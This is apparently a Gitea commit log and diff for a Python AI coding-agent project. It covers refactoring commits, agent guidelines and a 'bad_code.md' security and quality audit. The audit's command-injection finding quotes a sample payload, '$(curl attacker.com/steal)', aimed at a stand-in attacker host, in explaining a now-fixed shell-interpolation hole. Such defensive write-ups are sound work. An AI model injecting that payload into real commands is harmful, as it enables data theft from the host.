26 Commits

Author SHA1 Message Date
meeks ae4e2d46ac refactor: replace Any types with specific types and update bad_code.md
- Replace Any with object or specific types across codebase
- Add ReviewRequest dataclass for PR review payloads
- Update bad_code.md: mark 5.1 (Any Type Overuse) as resolved
- Fix summary table with accurate counts and unresolved issues list
2026-07-19 15:35:17 +02:00
meeks aa9e8222a3 docs: add import organization guidelines to AGENTS.md 2026-07-19 12:36:49 +02:00
meeks 139fb44fac fix: FileTools uses local workspace before API for file content (#6.2) 2026-07-19 12:05:28 +02:00
meeks 21eefd9824 fix 5.4: return structured types from get_issue/get_pull_request/create_pull_request/update_pull_request
- IssueTools.get_issue now returns IssueModel instead of JSON string
- PRTools.get_pull_request now returns PullRequestModel instead of JSON string
- PRTools.create_pull_request now returns PullRequestModel instead of JSON string
- PRTools.update_pull_request now returns PullRequestModel instead of JSON string
- All methods have proper return type hints and raise exceptions on error
- Updated tests to verify model objects are returned directly
- Marked issue 5.4 as resolved in bad_code.md
2026-07-19 11:49:54 +02:00
meeks e91780169e refactor: extract focused clients from GiteaClient (Slices 1-6)
- Create gitea/issues_client.py with IssuesClient class (9 methods)
- Create gitea/prs_client.py with PullRequestsClient class (17 methods)
- Create gitea/files_client.py with FilesClient class (4 methods)
- Create gitea/notifications_client.py with NotificationsClient class (2 methods)
- Create gitea/repos_client.py with ReposClient class (2 methods)
- Create gitea/__init__.py to export all client classes
- Remove delegation methods from GiteaClient (now ~70 lines)
- Update all callers to use sub-clients (client.issues, client.prs, etc.)
- Update test files to mock sub-client attributes

GiteaClient is now a facade that provides access to focused sub-clients:
- repos: Repository operations (ReposClient)
- issues: Issue operations (IssuesClient)
- prs: Pull request operations (PullRequestsClient)
- files: File and git ref operations (FilesClient)
- notifications: Notification operations (NotificationsClient)

Refs: #godclass-refactor
2026-07-17 07:37:41 +02:00
meeks 3c94c3cfac refactor: remove duplicate add_comment and add_label methods from IssueTools
- Removed duplicate dd_comment method (kept dd_comment_to_issue)
- Removed duplicate dd_label method (kept dd_label_to_issue)
- Updated dispatcher.py to remove duplicate tool registrations
- Updated coding_prompt.py to reference only dd_comment_to_issue
- Removed corresponding duplicate tests from test_issue_tools.py

This addresses section 10.1 (Confusing Naming) in bad_code.md
2026-07-16 14:33:58 +02:00
meeks 2ab87d507f refactor: extract hardcoded values to config (section 5.3)
- Add AGENT_USERNAMES and GITEA_ORG_FILTER settings to gitea/config.py
- Update core/dispatcher.py to use AGENT_USERNAMES from config
- Update gitea/client.py to use GITEA_ORG_FILTER in list_all_user_repos() and list_unread_notifications()
2026-07-16 13:54:52 +02:00
meeks 9b63fbbcfc refactor: remove GiteaTools facade, use focused tool classes directly
- Removed gitea/tools/gitea_tools.py (useless facade layer)
- Removed tests/test_gitea_tools.py (tests for removed facade)
- Updated core/dispatcher.py to use IssueTools, PRTools, FileTools, GitTools directly
- Updated core/orchestrator.py to use individual tool instances
- Updated main.py to create individual tool instances

This eliminates the triple layer of indirection (Issue 2.2 from bad_code.md)
where GiteaTools just delegated to IssueTools/PRTools/etc with zero added value.
2026-07-16 13:15:18 +02:00
meeks 26d69707c6 refactor: log previously swallowed exceptions in dispatcher.py 2026-07-16 12:54:06 +02:00
meeks a14e2bdd50 Refactor vacuous interface hierarchy and remove core/interfaces.py 2026-07-16 12:49:12 +02:00
meeks 24ca1c2898 Refactor WorkspaceManager.sanitize_repo to stash changes and raise errors on failure, add unit tests 2026-07-16 12:46:27 +02:00
meeks 925fa550b1 docs: replace meeks-ai with unknown-ai in AGENTS.md 2026-07-16 12:43:28 +02:00
meeks a6e6963c33 Enforce authenticated user verification on startup in main.py 2026-07-16 12:40:54 +02:00
Michael Ingvarsson f08c7b64c1 Enforce authenticated user and login validation in workspace operations, crashing program on failure instead of fallback defaults 2026-07-16 12:36:54 +02:00
Michael Ingvarsson c5dd178fd6 refactor: raise error on auth failure and clean up meeks-ai fallback 2026-07-16 12:33:57 +02:00
Michael Ingvarsson b47a3b3146 fix chdir 2026-07-16 12:27:04 +02:00
Michael Ingvarsson e54b5f1848 fix http 2026-07-16 12:21:56 +02:00
Michael Ingvarsson 9e40e7fed8 fix logging 2026-07-16 12:15:45 +02:00
Michael Ingvarsson 88d9ac2105 deduplicate 2026-07-16 12:12:08 +02:00
Michael Ingvarsson 479223ceb2 fix useless factory 2026-07-16 12:09:12 +02:00
Michael Ingvarsson e81f03c5aa fix grep 2026-07-16 12:04:51 +02:00
Michael Ingvarsson b99730f9a4 fix usename exposure 2026-07-16 12:00:16 +02:00
Michael Ingvarsson 64db2efa38 fix env variables exposure 2026-07-16 11:54:22 +02:00
Michael Ingvarsson cf1e33474e fix assert used 2026-07-16 11:48:55 +02:00
Michael Ingvarsson a341a67727 feat(ai): add parallel processing for search and generation - Add parallel search and generation, schema validation, tests, and better error handling 2026-07-16 11:44:34 +02:00
meeks dfae518f0c feat: implement WorkspaceManager to handle local Gitea repository cloning and configuration and document identified codebase vulnerabilities 2026-07-16 11:41:15 +02:00
46 changed files with 3502 additions and 1791 deletions
+1
View File
@@ -28,3 +28,4 @@ logs/
agent_state.json
ai-electronbun-todo-app/
test_connection.py
.aider*
+7 -1
View File
@@ -1,5 +1,11 @@
# Agent Instructions
## Import Organization
- **Keep all imports at the top of the file.** Never add imports inside functions, methods, or conditional blocks.
- Use absolute imports for project modules (e.g., `from gitea.models import IssueModel`).
- Remove unused imports when editing files.
## Python Type Hints (REQUIRED)
- **All functions must have type hints** for parameters and return types.
@@ -86,5 +92,5 @@ uv run start-agent
- **The agent MUST ONLY operate on repos within the `meeks` organization.**
- `gitea/client.py:48` enforces this with a hardcoded filter: `if r.get("owner", {}).get("login") == "meeks"`
- **Never change this filter** to include personal accounts (e.g., `meeks-ai`) or other organizations.
- **Never change this filter** to include personal accounts (e.g., `unknown-ai`) or other organizations.
- This filter is the single source of truth for repo scope — do not bypass it.
+442
View File
@@ -0,0 +1,442 @@
# Bad Code Analysis
## 1. Security Vulnerabilities
### 1.1 Hardcoded Credentials in Git Credentials File [RESOLVED]
**File:** `gitea/workspace.py:46`
```python
cred_line = f"{parsed.scheme}://meeks-ai:{GITEA_TOKEN}@{parsed.netloc}\n"
```
The Gitea token is embedded directly in the git credential URL and written to `~/.git-credentials` in plaintext. Anyone with filesystem access can read the token. This is a critical credential exposure vulnerability.
**Resolution:**
Replaced the plaintext `~/.git-credentials` storage and the local git `credential.helper store` setup with local repository-scoped `http.extraHeader` configuration. The token is dynamically Base64 encoded and passed as `Authorization: Basic <base64>` for cloning and local repository Git operations, ensuring credentials are never stored globally or in plaintext outside the repository's configuration.
### 1.2 Secrets Set as Environment Variables at Import Time [RESOLVED]
**File:** `gitea/config.py:38-43`
```python
os.environ["GITEA_SERVER_URL"] = GITEA_URL
os.environ["GITEA_SERVER_TOKEN"] = GITEA_TOKEN
```
Secrets were injected into the global environment at module import time. This polluted the process environment, made secrets discoverable via `os.environ`, and could leak into child processes, logs, and debugging tools.
**Resolution:**
Removed the code block writing secrets to `os.environ` at import time in `gitea/config.py`.
### 1.3 Hardcoded Personal Email [RESOLVED]
**File:** `gitea/workspace.py:60`
```python
email = user.email or f"{user.login or 'agent'}@noreply.gitea"
```
A personal email address was hardcoded as a fallback. This has been resolved by using a dynamic fallback email based on the authenticated user's login name.
### 1.4 No Input Sanitization in Shell Commands [RESOLVED]
**File:** `gitea/tools/coding_tools.py:266`, `coding_tools.py:200`
```python
command: str = f"grep -ri '{pattern}' {resolved}"
```
```python
if "tea pr create" in command:
```
User-controlled or LLM-generated strings were interpolated directly into shell commands with `shell=True`. This was a command injection vulnerability. The LLM could have been prompted to inject commands like `$(curl attacker.com/steal)` into file paths or search patterns.
**Resolution:**
Modified `grep_search` to invoke the `grep` subprocess safely with `shell=False` and a list of command arguments `["grep", "-ri", pattern, resolved]`, eliminating shell interpolation and command injection risks. Added corresponding test assertions to verify `shell=False` execution.
## 2. Architecture Anti-Patterns
### 2.1 God Class: GiteaClient [RESOLVED]
**File:** `gitea/client.py` (451 lines, 30+ methods)
`GiteaClient` implements 5 interfaces (`IssuesClient`, `PullRequestsClient`, `FilesClient`, `RefsClient`, `ReposClient`) and contains 30+ methods covering issues, PRs, files, refs, notifications, and repository operations. This violates the Single Responsibility Principle. Any change to one area (e.g., adding a new issue endpoint) requires touching a massive, unrelated class.
**Resolution:**
Refactored `GiteaClient` from a 502-line God Class into a ~70-line facade that provides access to 5 focused sub-clients, each responsible for a single domain:
- `gitea/issues_client.py` - `IssuesClient` (9 methods for issue operations)
- `gitea/prs_client.py` - `PullRequestsClient` (17 methods for PR operations)
- `gitea/files_client.py` - `FilesClient` (4 methods for file and git ref operations)
- `gitea/notifications_client.py` - `NotificationsClient` (2 methods for notification operations)
- `gitea/repos_client.py` - `ReposClient` (2 methods for repository and user operations)
Each sub-client follows the Single Responsibility Principle and is independently testable. The `GiteaClient` now only handles HTTP client lifecycle (`__init__`, `close`, `__enter__`, `__exit__`, `__del__`) and exposes the sub-clients as attributes (`client.issues`, `client.prs`, `client.files`, `client.notifications`, `client.repos`). All callers were updated to use the sub-clients directly.
### 2.2 Triple Layer of Indirection (Facade Anti-Pattern) [RESOLVED]
**File:** `gitea/client.py` -> `gitea/tools/gitea_tools.py` -> `gitea/tools/issue_tools.py`
```
CodingAgent calls GiteaTools.add_comment()
-> GiteaTools delegates to IssueTools.add_comment()
-> IssueTools calls GiteaClient.add_comment()
```
Each layer adds zero value — no caching, no validation, no abstraction benefit. It's just pass-through delegation that makes the code harder to navigate and debug.
**Resolution:**
Removed the `GiteaTools` facade class entirely. The `AgentDispatcher`, `AgentOrchestrator`, and `TaskProcessor` classes now use the focused tool classes (`IssueTools`, `PRTools`, `FileTools`, `GitTools`) directly. This eliminates the unnecessary indirection layer and makes the code easier to navigate and debug. The `gitea/tools/gitea_tools.py` file and its corresponding test file `tests/test_gitea_tools.py` were deleted.
### 2.3 Useless Factory Pattern [RESOLVED]
**File:** `core/factory.py`
```python
@staticmethod
def create_coding_agent(model_name: str) -> CodingAgent:
return CodingAgent(model_name)
```
Every factory method was a static method that directly instantiated and returned the object with no polymorphism or abstraction. This added a useless layer of indirection.
**Resolution:**
The factory classes were completely removed. The components (`NotificationReaderAgent`, `CodingAgent`, etc.) are now imported and instantiated directly where they are used. The `core/factory.py` file was deleted.
### 2.4 Duplicate Agent Classes with Identical Prompts [RESOLVED]
**File:** `core/coding_agent.py:13`, `core/planning_agent.py:13`
```python
# coding_agent.py
self.system_prompt = CODING_AGENT_SYSTEM_PROMPT
# planning_agent.py
self.system_prompt = CODING_AGENT_SYSTEM_PROMPT
```
`CodingAgent` and `PlanningAgent` are separate classes that use the exact same system prompt. There is no behavioral differentiation — they are identical code with different names. This is copy-paste duplication.
**Resolution:**
Created a distinct, tailored `PLANNING_AGENT_SYSTEM_PROMPT` in [prompts.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/prompts.py) specifically for the planning phase (focusing on research and drafting implementation plans without instructions on Git checkout/commit/PR lifecycle). Updated [planning_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/planning_agent.py) to import and use the new prompt and added strict type hints to both [planning_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/planning_agent.py) and [coding_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/coding_agent.py).
### 2.5 Vacuous Interface Hierarchy [RESOLVED]
**File:** `core/interfaces.py`
The ABC interfaces (`IssuesClient`, `PullRequestsClient`, etc.) are defined but serve no practical purpose. `GiteaClient` directly inherits from all of them, but since there is only one implementation, the interfaces add no value. They neither enable mocking in tests nor allow swapping implementations. They are interfaces in name only.
**Resolution:**
Removed the vacuous interfaces entirely. Deleted `core/interfaces.py` and updated `GiteaClient` (`gitea/client.py`) and `BaseAgent` (`core/agent.py`) to no longer inherit from or import these unused Abstract Base Classes.
## 3. Error Handling Problems
### 3.1 Bare Except Clauses Swallowing All Errors [RESOLVED]
Scattered throughout the codebase (especially in `core/dispatcher.py` when retrieving files, comments, or reviews):
```python
# core/dispatcher.py:475
except Exception:
pass
```
Bare/silent `except Exception` blocks caught all unexpected errors and bypassed logging or error handling, making debugging difficult.
**Resolution:**
Refactored all silent `except Exception: pass` blocks in `core/dispatcher.py` to capture the exception and log a warning with `logger.warning(..., exc_info=True)`. This preserves visibility of API or filesystem errors during issue and PR task processing.
### 3.2 `print()` Mixed with Logging Framework [RESOLVED]
**File:** `gitea/client.py:41, 61, 176, 218, 237, 420, 431, 449`
The codebase uses Python's `logging` module in some places but falls back to `print()` for error output in `GiteaClient`. This creates inconsistent log output, bypasses log rotation, and makes it impossible to filter or route errors through structured logging.
**Resolution:**
Replaced all `print()` statements in `gitea/client.py`, `gitea/tools/pr_tools.py`, and `gitea/tools/issue_tools.py` with standard Python logging calls using `logger.error(..., exc_info=True)`. Logger objects are initialized per module and consistent log/error handling is established.
### 3.3 Silent Failure in `list_assigned_issues` [RESOLVED]
**File:** `gitea/client.py:161-162`
```python
repo_owner = r.owner if hasattr(r, 'owner') else (r.get("owner") or {}).get("login", "")
repo_name = r.name if hasattr(r, 'name') else r.get("name", "")
```
The code checks `hasattr` as a fallback, which means the `RepositoryModel` type is sometimes a Pydantic model and sometimes a raw `dict`. This is a type inconsistency that indicates the model is not being used correctly.
**Resolution:**
Removed the redundant `hasattr` checks and fallback dictionary access in both `list_assigned_issues` and `list_assigned_pull_requests` methods of `GiteaClient`. Because `RepositoryModel` is used consistently, properties `r.owner` and `r.name` are accessed directly.
## 4. Dangerous Side Effects
### 4.1 `os.chdir()` in Dispatcher [RESOLVED]
**File:** `core/dispatcher.py:680-684`
```python
original_cwd = os.getcwd()
if os.path.isdir(str(repo_path)):
os.chdir(str(repo_path))
changed_dir = True
```
Changing the working directory in a long-running async process is dangerous. If any coroutine runs concurrently or if the `finally` block fails to restore the directory, all subsequent file operations in the process will target the wrong directory. The `finally` restoration is a band-aid, not a solution.
**Resolution:**
Removed the `os.chdir()` call and related directory-restoration logic completely from `AgentDispatcher.dispatch`. Since all subprocess commands, git operations, and file operations in `WorkspaceManager` and `CodingTools` are invoked with explicit local repository working directory parameters (`cwd` or `-C`), changing the global process directory is completely unnecessary and has been safely eliminated.
### 4.2 Destructive `sanitize_repo` [RESOLVED]
**File:** `gitea/workspace.py:81-118`
```python
subprocess.run(["git", "-C", str(repo_path), "reset", "--hard", "HEAD"], ...)
subprocess.run(["git", "-C", str(repo_path), "clean", "-fdx"], ...)
```
`git reset --hard HEAD` and `git clean -fdx` destroy all uncommitted changes and untracked files. This is destructive and irreversible. In an automated agent context, this could delete work that was in progress.
**Resolution:**
Refactored `WorkspaceManager.sanitize_repo` to first check if there are uncommitted changes or untracked files using `git status --porcelain`. If any are found, it runs `git stash push -u -m "Auto-backup before agent sanitization"` to preserve them in git stash. Additionally, if any of the sanitization subprocess calls fail, the method raises a `RuntimeError` rather than catching and swallowing it, avoiding silent downstream failures.
### 4.3 Global `git config --global --unset` [RESOLVED]
**File:** `gitea/workspace.py:22-33`
```python
subprocess.run(["git", "config", "--global", "--unset", "credential.helper"], ...)
subprocess.run(["git", "config", "--global", "--unset", "user.name"], ...)
```
Unsetting global git config on every `WorkspaceManager` instantiation affects the entire user's git configuration, not just the agent's workspace. This is a dangerous side effect that could break the user's other git workflows.
**Resolution:**
Removed the `_configure_git_credentials()` method entirely. The agent now relies on local repository-scoped `http.extraHeader` configurations and local git configs, avoiding any global config changes and eliminating global side-effects.
## 5. Code Quality Issues
### 5.1 `Any` Type Overuse [RESOLVED]
Throughout the codebase, `Any` was used where specific types would be better:
```python
# gitea/client.py:34
def get_authenticated_user(self) -> UserModel | None:
# Returns UserModel but internally handles raw dict
# gitea/tools/gitea_tools.py:58
def list_assigned_issues(self) -> list[dict]: # Bare dict, not dict[str, Any]
```
**Resolution:**
Replaced `Any` type annotations with `object` or specific types across the codebase:
- `core/agent.py`: Changed `Any` to `object` for message parameters and model attributes
- `gitea/files_client.py`: Changed `dict[str, Any]` to `dict[str, object]`
- `gitea/issues_client.py`: Changed `dict[str, Any]` to `dict[str, str | list[str]]` for issue data
- `gitea/models.py`: Changed `dict[str, Any]` to `dict[str, object]` for `head` and `base` fields
- `gitea/notifications_client.py`: Changed `list[dict[str, Any]]` to `list[dict[str, object]]`
- `gitea/prs_client.py`: Changed `dict[str, Any]` to specific types (`dict[str, str | None]`, `dict[str, str]`, `dict[str, object]`) and introduced `ReviewRequest` dataclass for review payloads
- `gitea/repos_client.py`: Changed `list[dict[str, Any]]` to `list[dict[str, object]]`
- `gitea/tools/git_tools.py`: Removed unused `from typing import Any` import
### 5.2 `assert` Used for Control Flow [RESOLVED]
**Files:** `core/dispatcher.py:492, 741, 754`, `core/agent.py:74, 94`
```python
issue_info = self.item.task_info
assert isinstance(issue_info, IssueModel)
```
`assert` can be disabled with `python -O` (optimize flag). Using it for runtime type validation means the check disappears in production builds.
**Resolution:**
Replaced all control-flow `assert` statements with proper runtime checks (raising `TypeError` for invalid task info in `core/dispatcher.py`, and `RuntimeError` if model initialization fails in `core/agent.py`). Also added unit tests in `tests/test_dispatcher.py` to verify correct raising of `TypeError` when invalid task info models are provided.
### 5.3 Hardcoded Values Scattered Throughout [RESOLVED]
**Files:** `core/dispatcher.py:82`, `gitea/client.py:67,440`, `gitea/config.py`
```python
# core/dispatcher.py:82
agent_usernames = {ai_username, "agent-bot"} # Hardcoded fallback username
# gitea/client.py:67
if (r.get("owner") or {}).get("login") == "meeks": # Hardcoded org filter
# gitea/client.py:440
if owner_login == "meeks": # Hardcoded org filter in notifications
```
**Resolution:**
Added configurable settings `agent_usernames` (list of additional agent usernames) and `gitea_org_filter` (organization name for repo filtering) to `gitea/config.py`. Updated `core/dispatcher.py` to use `AGENT_USERNAMES` from config instead of hardcoded `"agent-bot"`. Updated `gitea/client.py` to use `GITEA_ORG_FILTER` in both `list_all_user_repos()` and `list_unread_notifications()` methods. The `agent_model_id` was already configurable via environment variables.
### 5.4 Inconsistent Return Types [RESOLVED]
Methods that should return structured data return `str` instead:
```python
# gitea/tools/issue_tools.py:15
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
# Returns IssueModel instead of JSON string
# gitea/tools/pr_tools.py:19
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> PullRequestModel:
# Returns PullRequestModel instead of JSON string
# gitea/tools/pr_tools.py:122
def create_pull_request(...) -> PullRequestModel:
# Returns PullRequestModel instead of JSON string
# gitea/tools/pr_tools.py:139
def update_pull_request(...) -> PullRequestModel:
# Returns PullRequestModel instead of JSON string
```
The callers (LLM agent framework) handle model-to-JSON serialization automatically, so returning the model object directly provides type safety without losing the ability to display structured data to the LLM.
**Resolution:**
Updated `IssueTools.get_issue` to return `IssueModel`, `PRTools.get_pull_request` to return `PullRequestModel`, and `PRTools.create_pull_request` / `PRTools.update_pull_request` to return `PullRequestModel`. All methods now have proper return type hints and raise exceptions on error instead of returning error strings. Updated corresponding tests to verify model objects are returned directly.
### 5.5 Mutable Default Arguments (Near Miss)
While the codebase correctly uses `Field(default_factory=list)` in Pydantic models, the `CoordinatorTools` and `NotificationTools` classes use mutable instance attributes (`self.arguments: dict[str, Any] = {}`) that are shared state across tool calls. If two tool calls happen before the next decision, the arguments accumulate.
## 6. Performance Issues
### 6.1 Creating HTTP Client Per Request [RESOLVED]
**File:** `gitea/client.py`
Every HTTP method previously created a new `httpx.Client()` context manager. This meant a new TCP connection was established for every API call. A single `poll_and_dispatch` cycle could create 10+ HTTP clients.
**Resolution:**
Updated `GiteaClient` to initialize a single shared `self.client: httpx.Client = httpx.Client(headers=self.headers)` during class instantiation. Removed the block-scoped `with httpx.Client() as client:` contexts and direct `httpx.get()` calls, and updated the test suite (`tests/test_client.py`) to patch `httpx.Client.get` instead.
### 6.2 No Caching
- Notifications are re-fetched every 60 seconds without any deduplication beyond the `since` timestamp
- PR diffs are fetched fresh every time a PR is processed
- File contents are fetched from the remote API instead of the local workspace when the repo is already cloned
## 7. Concurrency Issues
### 7.1 WorkQueue Claims Thread-Safety But Has None [RESOLVED]
**File:** `core/queue.py:19`
```python
class WorkQueue:
"""Thread-safe work queue grouped by repo."""
```
The docstring claimed thread-safety, but there were no locks. This has been resolved by using a `threading.Lock` inside all queue methods to serialize access to the internal lists and sets.
### 7.2 No Mutex on Workspace Operations
Multiple work items for the same repo can trigger concurrent `git clone`, `git reset`, and `git clean` operations. There is no locking to prevent race conditions on the filesystem.
## 8. Prompt Engineering Issues
### 8.1 Massive Embeded System Prompts
**File:** `core/coding_prompt.py` (221 lines)
A 221-line system prompt is embedded as a module-level string constant. This makes the prompt impossible to version-control separately, A/B test, or update without redeploying code. Prompts should be in separate files or a database.
### 8.2 Duplicated Prompt Content [RESOLVED]
`CODING_AGENT_SYSTEM_PROMPT` is used by both `CodingAgent` and `PlanningAgent` with no differentiation. If the planning agent needs different instructions, both agents must be updated simultaneously.
**Resolution:**
Defined `PLANNING_AGENT_SYSTEM_PROMPT` inside [prompts.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/prompts.py) to differentiate planning-specific instructions from coding/execution instructions.
## 9. Testing Issues
### 9.1 Tests Don't Mock HTTP Calls
**File:** `tests/test_client.py` and others
The tests appear to test real HTTP calls or minimal mocking. The `GiteaClient` creates its own `httpx.Client()` internally, making it impossible to inject a mock client. Tests should use dependency injection or `unittest.mock.patch` to avoid network calls.
### 9.2 No Tests for Critical Paths
- `WorkspaceManager.sanitize_repo()` (destructive git operations) has no tests
- `CodingTools.run_command()` (shell execution) has no tests
- `AgentOrchestrator.poll_and_dispatch()` (main polling loop) has no integration tests
- `dispatcher.py` (763 lines) has no dedicated test coverage
## 10. CUPID Programming Violations
### 10.1 Not Clear [RESOLVED]
- **Excessive indirection:** `GiteaTools` -> `IssueTools` -> `GiteaClient` adds 3 levels of pass-through with zero value [RESOLVED - see 2.2]
- **Unclear responsibilities:** `GiteaClient` handles issues, PRs, files, refs, notifications, and repository management — 5 distinct domains [RESOLVED - see 2.1]
- **Confusing naming:** `add_comment` and `add_comment_to_issue` do the same thing; `add_label` and `add_label_to_issue` do the same thing [RESOLVED]
**Resolution (Confusing Naming):**
Removed the duplicate methods `add_comment` and `add_label` from `IssueTools`. Only the more descriptive `add_comment_to_issue` and `add_label_to_issue` methods remain. Updated `core/dispatcher.py` to remove the duplicate tool registrations and updated `core/coding_prompt.py` to reference only `add_comment_to_issue`. Removed corresponding duplicate tests from `tests/test_issue_tools.py`.
### 10.2 Not Understandable
- **Massive files:** `dispatcher.py` (763 lines), `coding_prompt.py` (221 lines), `client.py` (451 lines) are too large to comprehend in a single reading
- **Complex control flow:** `IssueTaskProcessor.process()` (lines 452-653) has 7 nested `if/elif` branches, multiple `try/except` blocks, and inline subprocess calls — impossible to mentally trace
- **Mixed concerns:** `workspace.py` mixes git credential management, repo cloning, and user configuration setup
### 10.3 Not Performant
- **HTTP client per request:** Every API call creates a new TCP connection (see section 6.1)
- **No connection pooling:** `httpx.Client()` should be a shared singleton
- **Redundant data fetching:** Fetches PR diff, PR files, PR comments, and PR reviews separately when they could be batched
- **Inline subprocess calls:** Multiple `subprocess.run()` calls in `IssueTaskProcessor.process()` for git operations instead of using a git library
### 10.4 Not Inspectable
- **Minimal logging:** Most errors use `print()` instead of the logging framework
- **No metrics:** No counters for API calls, errors, processing times, or queue depth
- **No structured tracing:** No request IDs, no correlation between notification receipt and processing
- **State file is opaque:** `agent_state.json` is a simple timestamp with no versioning or migration
### 10.5 Not Delightful
- **Poor error messages:** `"Error getting issue: {str(e)}"` gives no actionable information
- **No user feedback:** When the agent fails, there is no graceful degradation or helpful error message
- **Destructive operations:** `git reset --hard` and `git clean -fdx` with no confirmation or dry-run option
- **Silent failures:** Methods return empty lists or `None` on error with no way to detect the failure downstream
## Summary
| Category | Severity | Total | Unresolved |
| -------------------------- | -------- | ----- | ---------- |
| Security Vulnerabilities | Critical | 4 | 0 |
| Architecture Anti-Patterns | High | 5 | 0 |
| Error Handling Problems | High | 3 | 0 |
| Dangerous Side Effects | High | 3 | 0 |
| Code Quality Issues | Medium | 5 | 1 |
| Performance Issues | Medium | 2 | 1 |
| Concurrency Issues | Medium | 2 | 1 |
| Prompt Engineering Issues | Medium | 2 | 1 |
| Testing Issues | Medium | 2 | 2 |
| CUPID Violations | High | 5 | 4 |
**Total: 33 issues identified, 10 unresolved.**
### Unresolved Issues
| # | Issue | Section |
| ---- | -------------------------------------- | ------- |
| 1 | Mutable Default Arguments (Near Miss) | 5.5 |
| 2 | No Caching | 6.2 |
| 3 | No Mutex on Workspace Operations | 7.2 |
| 4 | Massive Embedded System Prompts | 8.1 |
| 5 | Tests Don't Mock HTTP Calls | 9.1 |
| 6 | No Tests for Critical Paths | 9.2 |
| 7 | Not Understandable | 10.2 |
| 8 | Not Performant | 10.3 |
| 9 | Not Inspectable | 10.4 |
| 10 | Not Delightful | 10.5 |
+11 -9
View File
@@ -1,8 +1,7 @@
import asyncio
import logging
import lmstudio as lms
from typing import Any, Callable
from core.interfaces import Agent
from typing import Callable
from .prompt import CAVEMAN_PROMPT
logger: logging.Logger = logging.getLogger("agent-base")
@@ -14,7 +13,7 @@ class _ActResponseCapture:
def __init__(self) -> None:
self.responses: list[str] = []
def __call__(self, message: Any) -> None:
def __call__(self, message: object) -> None:
content: str = ""
if hasattr(message, 'content'):
content = message.content
@@ -54,12 +53,12 @@ class _ActResponseCapture:
return '\n'.join(self.responses) if self.responses else "No response captured."
class BaseAgent(Agent):
class BaseAgent:
"""Base AI agent implementing common LMStudio interaction patterns."""
def __init__(self, model_name: str) -> None:
self.model_name: str = model_name
self.model: Any | None = None
self.model: object | None = None
self.system_prompt: str = ""
async def initialize(self) -> None:
@@ -71,7 +70,8 @@ class BaseAgent(Agent):
"""Run a single interaction with the agent."""
if self.model is None:
await self.initialize()
assert self.model is not None
if self.model is None:
raise RuntimeError("Model initialization failed: model is None")
messages: list[dict[str, str]] = [
{"role": "system", "content": self.system_prompt},
@@ -87,11 +87,12 @@ class BaseAgent(Agent):
logger.error(f"Agent execution error: {e}")
return f"Error in agent execution: {str(e)}"
async def run_with_tools(self, user_input: str, tools: list[Any]) -> str:
async def run_with_tools(self, user_input: str, tools: list[object]) -> str:
"""Run the agent with tool calling capability."""
if self.model is None:
await self.initialize()
assert self.model is not None
if self.model is None:
raise RuntimeError("Model initialization failed: model is None")
try:
capture = _ActResponseCapture()
@@ -113,4 +114,5 @@ class CavemanAgent(BaseAgent):
def __init__(self, model_name: str) -> None:
super().__init__(model_name)
self.system_prompt = CAVEMAN_PROMPT
self.system_prompt: str = CAVEMAN_PROMPT
+2 -1
View File
@@ -10,4 +10,5 @@ class CodingAgent(BaseAgent):
def __init__(self, model_name: str) -> None:
super().__init__(model_name)
self.system_prompt = CODING_AGENT_SYSTEM_PROMPT
self.system_prompt: str = CODING_AGENT_SYSTEM_PROMPT
+2 -2
View File
@@ -5,7 +5,7 @@ You are an autonomous AI Software Engineer working on the `meeks` organization's
### 🎯 SCOPE & BOUNDARIES
- **Organization**: You ONLY work on repositories under the `meeks` organization (e.g., `meeks/ai-electronbun-todo-app`).
- **DO NOT work on**: `meeks-ai`, `michael`, or any other organization/personal repos.
- **DO NOT work on**: any other organization/personal repos.
- **DO NOT create new repositories**. The repo already exists. It is cloned locally in the workspace (which is your current working directory).
- **DO NOT edit `.git` files** unless explicitly asked to resolve a git conflict or rebase issue.
@@ -119,7 +119,7 @@ Before writing any code or making any changes, you MUST:
- Could multiple approaches work and you're unsure which to pick?
3. **If ANY uncertainty exists** — STOP and ask before implementing:
- Post a comment on the issue or PR (using `add_comment_to_issue` or `add_comment` tool) with your specific question(s).
- Post a comment on the issue or PR (using `add_comment_to_issue` tool) with your specific question(s).
- List the approaches you are considering and ask which is preferred.
- **Your comment MUST include the following marker on its own line at the very end:**
```
+2 -1
View File
@@ -17,7 +17,8 @@ class CoordinatorAgent(BaseAgent):
def __init__(self, model_name: str) -> None:
super().__init__(model_name)
self.system_prompt = COORDINATOR_SYSTEM_PROMPT
self.system_prompt: str = COORDINATOR_SYSTEM_PROMPT
async def decide_action(
self,
+451 -191
View File
@@ -2,7 +2,6 @@
import logging
import re
import os
import subprocess
from abc import ABC, abstractmethod
from typing import Any, Callable
@@ -11,46 +10,58 @@ from core.queue import WorkItem
from core.coding_agent import CodingAgent
from core.planning_agent import PlanningAgent
from core.coordinator_agent import CoordinatorAgent, CoordinatorNoToolCalledError
from core.factory import AgentFactory
from gitea.tools.coding_tools import CodingTools
from gitea.tools.research_tools import ResearchTools
from gitea.tools.gitea_tools import GiteaTools
from gitea.tools.issue_tools import IssueTools
from gitea.tools.pr_tools import PRTools
from gitea.tools.file_tools import FileTools
from gitea.tools.git_tools import GitTools
from gitea.client import GiteaClient
from core.coordinator_tools import CoordinatorTools
from gitea.workspace import WorkspaceManager
from gitea.config import AGENT_MODEL_ID
from gitea.models import CommentModel, PullRequestFileModel, PullRequestModel, IssueModel
from gitea.config import AGENT_MODEL_ID, AGENT_USERNAMES
from gitea.models import (
CommentModel,
PullRequestFileModel,
PullRequestModel,
IssueModel,
)
logger: logging.Logger = logging.getLogger("agent-dispatcher")
AGENT_USERNAMES: frozenset[str] = frozenset({"meeks-ai", "agent-bot"})
CLOSE_KEYWORDS_PATTERN: re.Pattern[str] = re.compile(
rf"\b(?:close|closes|closed|fix|fixes|fixed|resolve|resolves|resolved)\s+#(\d+)\b",
re.IGNORECASE
re.IGNORECASE,
)
def _find_pr_for_issue_helper(client: GiteaClient, repo_full_name: str, issue_number: int) -> PullRequestModel | None:
def _find_pr_for_issue_helper(
client: GiteaClient, repo_full_name: str, issue_number: int
) -> PullRequestModel | None:
"""Find an open pull request that addresses the given issue number."""
owner, repo_name = repo_full_name.split("/")
